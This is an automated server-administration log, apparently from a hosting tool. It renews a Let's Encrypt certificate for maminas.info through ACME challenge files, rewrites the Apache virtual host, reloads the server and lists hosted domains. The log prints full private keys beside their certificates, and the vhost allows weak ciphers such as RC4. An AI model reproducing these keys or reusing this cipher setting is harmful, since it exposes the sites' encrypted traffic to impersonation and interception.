7f8rYyyTLcAOuinL5mO1qsJ+HlONaFzEYIltW7OwY2/TasCzgkny/Hlxm/RldsqU
Xw5bycFk+Y62Yqs7fHhtdIs+jghj8NuU/MF7bORTBUX5gdzoKB+gaD8cPvoz7bRX
tUAz+sOvvTkCgYAODHiIimWHbHSChszoBURJ3zJ0lfPSZ6lfP7jLRNCrW0bl0FaB
oitLi6m6+IUD7NM+pSh93nwmi9WIL47HZQZJFvt666wxjZqCRIJ3e64GODVOfD/2
uYP4RJuswfIkPfwugu6Zc+OGLKPrGPvXQkbC0ykhht3E65J3wkQcRNBnjwKBgGwa
BumZTRrKAjB4N7BOkgOfmmJvQVytLn0df8so6y9XY4XAFRe7QN/k5YKczjrlgWC8
rAshJAQ0CgSm6wK+FFE3CIv2y5MhtyTWPFE7oSPuL3Ks+3x3ZAv9GZp4rpuCu11R
j4SgpVC/3Bl6K3kHxGrRfwia87jFZFtFIPSuXymBAoGAVgs2yf/Ey4hOANjr7Jgs
hy61r1jbYh+hpyW8fKGBr49JE1tftT2kJ5uKcnYCep/kdFt1N7adkL/t6pljX0i4
1jfeG+BPQ7ansQt7wE9embNFB3+mIgTCnvBiw4ynoncGDcysmuU5+stw+LAcHBHA
LYJSZcPyutSbPHljS7hnPqM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-22 06:02:18: Establishing a connection
2025-11-22 06:02:19: Establishing a connection
2025-11-22 06:02:20: 

PUT: /tmp/pkp521760

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-22 06:02:21: 

chmod 755 /tmp/pkp521760; /tmp/pkp521760; rm /tmp/pkp521760

2025-11-22 06:02:21: 


0


2025-11-23 06:00:02: Establishing a connection
2025-11-23 06:00:03: Establishing a connection
2025-11-23 06:00:04: 

PUT: /tmp/pkp626580

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-23 06:00:05: 

chmod 755 /tmp/pkp626580; /tmp/pkp626580; rm /tmp/pkp626580

2025-11-23 06:00:05: 


0


2025-11-24 06:00:01: Establishing a connection
2025-11-24 06:00:03: Establishing a connection
2025-11-24 06:00:04: 

PUT: /tmp/pkp939683

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-24 06:00:05: 

chmod 755 /tmp/pkp939683; /tmp/pkp939683; rm /tmp/pkp939683

2025-11-24 06:00:05: 


0


2025-11-25 06:00:02: Establishing a connection
2025-11-25 06:00:04: Establishing a connection
2025-11-25 06:00:05: 

PUT: /tmp/pkp559779

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-25 06:00:06: 

chmod 755 /tmp/pkp559779; /tmp/pkp559779; rm /tmp/pkp559779

2025-11-25 06:00:06: 


0


2025-11-26 06:00:02: Establishing a connection
2025-11-26 06:00:03: Establishing a connection
2025-11-26 06:00:03: 

PUT: /tmp/pkp278950

#!/bin/bash
if [ -d "/var/www/maminas_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-26 06:00:04: 

chmod 755 /tmp/pkp278950; /tmp/pkp278950; rm /tmp/pkp278950

2025-11-26 06:00:04: 


1


2025-11-26 06:00:05: Establishing a connection
2025-11-26 06:00:05: 

PUT: /tmp/pkp853307

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
cat > JChCDPNQduh3lOHvsVd_j7bBGfASUTKkW9MTH-0BRTc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JChCDPNQduh3lOHvsVd_j7bBGfASUTKkW9MTH-0BRTc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JChCDPNQduh3lOHvsVd_j7bBGfASUTKkW9MTH-0BRTc
cat > j5Y-9mtljgoRsOFX-zKkdlXiv2hW27c-cr1CEs1gsME <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
j5Y-9mtljgoRsOFX-zKkdlXiv2hW27c-cr1CEs1gsME.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 j5Y-9mtljgoRsOFX-zKkdlXiv2hW27c-cr1CEs1gsME


2025-11-26 06:00:05: 

chmod 755 /tmp/pkp853307; /tmp/pkp853307; rm /tmp/pkp853307

2025-11-26 06:00:05: 




2025-11-26 06:00:16: Establishing a connection
2025-11-26 06:00:16: 

PUT: /tmp/pkp432400

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
rm JChCDPNQduh3lOHvsVd_j7bBGfASUTKkW9MTH-0BRTc
rm j5Y-9mtljgoRsOFX-zKkdlXiv2hW27c-cr1CEs1gsME


2025-11-26 06:00:16: 

chmod 755 /tmp/pkp432400; /tmp/pkp432400; rm /tmp/pkp432400

2025-11-26 06:00:16: 




2025-11-26 06:00:16: Establishing a connection
2025-11-26 06:00:16: 

PUT: /tmp/pkp204188

#!/bin/bash
temp_file=$(mktemp)
TARGET=aa64a65ef2076a4bf3eeaac96e0b38a2.crt

cat > $temp_file <<'endmsg'
42:cc:7b:8e:18:05:4f:db:b7:64:90:6b:ba:ff:e5:5e

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBpCWxdiMIsHTWpTDlOXPPeuRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTI2MDUwMTQ1WhcNMjYwMjI0MDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDE
qItr9hmwfCzlxgnFcaKR+mhkYoQKet1QjUp/e3vvJR88eocn7LaHWY0K1CTVVscA
8cSktXLpbBTXCHAt18h9iFD61r7Vz9ErmQFiMQM+GkGT0zZD5Eweo5VDB/P9N+//
NItZfz8Dp1CqqtQd3Hmsy2IHUVCKQy4hYplbPKzgOF/dSghQaJsdO+4C89wDiaWC
5nJZSAYj39zb0sXNJHMnpf3sWmDUXtyWeOLM7FdqTNd8lFsEF8RXefWeB0r9Y0f0
pLIdjIhXpq4A2xvqYWtzxudhufHJxFJg4W3cUhkEfdNe0WEWf+UeeiOtXsx7XZmM
J8DrpxpsMbSZhrA0XM4hAgMBAAGjggItMIICKTAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFGQV6rZBt9oz9kcvZafl3H8oA/dbMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTguY3JsMIIBAwYKKwYBBAHWeQIEAgSB
9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGavr+K
zwAABAMARjBEAiAGVEfxJ3moNdNzCh/lGI3T3y3AhYzn0ICKPge1tdmRCAIgSJCs
hTWz9UBaTKm2J7sntinicIiXLI9VAwMasBm7oYIAdgCWl2S/VViXrfdDh2g3CEJ3
6fA61fak8zZuRqQ/D8qpxgAAAZq+v4s+AAAEAwBHMEUCIQDBBcYpppUjnCXkVVqK
ICaufFV08xfvUVkraHmrbg9uTAIgKQlbLMl1/c6eR6ThfdfrJNBTJQAiyiIIamBp
V5q01HMwDQYJKoZIhvcNAQELBQADggEBAISAzaqF+Rdtfhg0s1zLUOrDcB94oOzF
5gTdfuuqTRiflLomYg+yU9iSxrTn8x0rpLkWjkOOz9EPo/+1vr5myyQWX24Z16vg
fGWuDaWnhUiU7Qa20Xn9gC+wTA1RToGSgDetNzGZ5hOyok2oPYP2f2vSdsbrk+i7
HgozZDZ10Tq8HwMk3BiHiAQibZ+do+8Z6ADvhWRHxyYKOyi9mGXQYh3TEEyowgYu
RMGS/voj5eyJyZPjpx+rY2mnr9bYYbYz+T0LADUdPYRlyhAqlkHm4Nf6syWPae9K
5b75i0aAk4T4FIvrIm9pa/seK4Frgy60VliEckCTp02lVIJMr2LePyI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDEqItr9hmwfCzl
xgnFcaKR+mhkYoQKet1QjUp/e3vvJR88eocn7LaHWY0K1CTVVscA8cSktXLpbBTX
CHAt18h9iFD61r7Vz9ErmQFiMQM+GkGT0zZD5Eweo5VDB/P9N+//NItZfz8Dp1Cq
qtQd3Hmsy2IHUVCKQy4hYplbPKzgOF/dSghQaJsdO+4C89wDiaWC5nJZSAYj39zb
0sXNJHMnpf3sWmDUXtyWeOLM7FdqTNd8lFsEF8RXefWeB0r9Y0f0pLIdjIhXpq4A
2xvqYWtzxudhufHJxFJg4W3cUhkEfdNe0WEWf+UeeiOtXsx7XZmMJ8DrpxpsMbSZ
hrA0XM4hAgMBAAECggEBALsMDEANfXWtRg7uA9E2Oghagfwo76oAHoxFNvx1+PUG
++TMLc09iobGGC6ahMYdmX4+dmiq5Lc7w76bGgegW+N6Snuq0SwQU8UB7Jz2PT1O
P91YYR7F/9iMgqWU5O6Ny8mSso/XRZo2A7WwcbxNPbWqZHzNTKuVJkU+wNpUpaFE
kqFKI+nrutq2Dbu0fk9vLve5fg4DuQFskU2jUCDGzhvSeDf0U2WHoYPVTGPszTSH
zznlcQOgqXVSqX64yggpX36rYhs6eH5pZFP/pw8TTNXBvmGM0u8aCEC9y5pHE3Rn
Q+DYAaX5HLMJh5YgNsn2S89CwzhQmSdGTQcIgSTrJqECgYEA4n4FASQB4bbZA/v5
t96XVjOWqwPFQA77BKJphlorAecQdg5UcAzBfIkFA5/27B3pDrNXBmecxEZCXape
l2hdRE6jDuunVQPsbLmIZQEbfhND4F9lMW6bJ47Af3hnmHuBnR47Xh6AnhH+Ip6a
MZDG+wZF7eMbOPlLq7WhLIL5XWUCgYEA3keBABfHIGhYg37EN6kgFXCTYRcpIdd2
7KJ/A/KngYVyRMZsNIk+Nr9aMcj/9gY3CVTa8yyxF4z1Mqt1WHqRuXYK1XHL4vvu
OIRX940MBS0hzMSRAYZacdFfbcDgkIFAx5qAyxT/Pe5KGkaIS6kYW33pkWimF9db
FJKwP0H90A0CgYEAsTz2g5b+1ff1STXki6tneDB0pi0ULXXLnyvNMjLbVujPq+K4
1tpUizTaNKT4YHtjhnp3Dm8EcV+dzZhl30vvOGXlGeb1EgU4/TgO8SN1tSo0Qp/E
G3O3fLQsFVROlTeJDT+8K4HpGklwOv0sIr9txsB49phzFBmZyqwejSuNIjUCgYEA
r/kT26r3bmStjozRcu9mAxM42minm68k63pJ7CozCotHR8N+7qiopFchZMCoQ3Hw
KGcRX+tF2Esz44VyRTXkIFufgBOzQmQI2J2NtuHnXkG4vI/x7K8c83a6gf1sy3pI
er2KsTxSRglciSjFxoB8VBJ+0ytyMvW/ma338lygQBECgYBem1FHi1iTh/vz7++S
wiDdFZC419FiRXqVySyUgJAHVGGLCu75zGhsQAve2hk5Pk0JdGLKqa7zC+j7SBSN
cFHTVQuhERNrsoOQlyE6/9Pr8BM0ZcvGU5j4g/g9d2WWLy7WXUxZGmDHwcsSnPwB
FNDz2mzYBnCO878arr52S5LItg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-26 06:00:16: 

chmod 755 /tmp/pkp204188; /tmp/pkp204188; rm /tmp/pkp204188

2025-11-26 06:00:16: 


dir=/etc/ssl/certs


2025-11-26 06:00:16: 

PUT: /tmp/pkp328039

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/maminas_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-26 06:00:16: 

chmod 755 /tmp/pkp328039; /tmp/pkp328039; rm /tmp/pkp328039

2025-11-26 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 40

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-26 06:00:16: 

PUT: /tmp/pkp385492

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=maminas_www_info.conf
TARGET=/etc/apache2/sites-enabled/maminas_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/maminas_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf= 1'
fi


2025-11-26 06:00:16: 

chmod 755 /tmp/pkp385492; /tmp/pkp385492; rm /tmp/pkp385492

2025-11-26 06:00:16: 




2025-11-26 06:00:16: 

PUT: /tmp/pkp746122

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-26 06:00:16: 

chmod 755 /tmp/pkp746122; /tmp/pkp746122; rm /tmp/pkp746122

2025-11-26 06:00:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-26 06:00:17: Establishing a connection
2025-11-26 06:00:17: 

PUT: /tmp/pkp849219

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-26 06:00:17: 

chmod 755 /tmp/pkp849219; /tmp/pkp849219; rm /tmp/pkp849219

2025-11-26 06:00:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
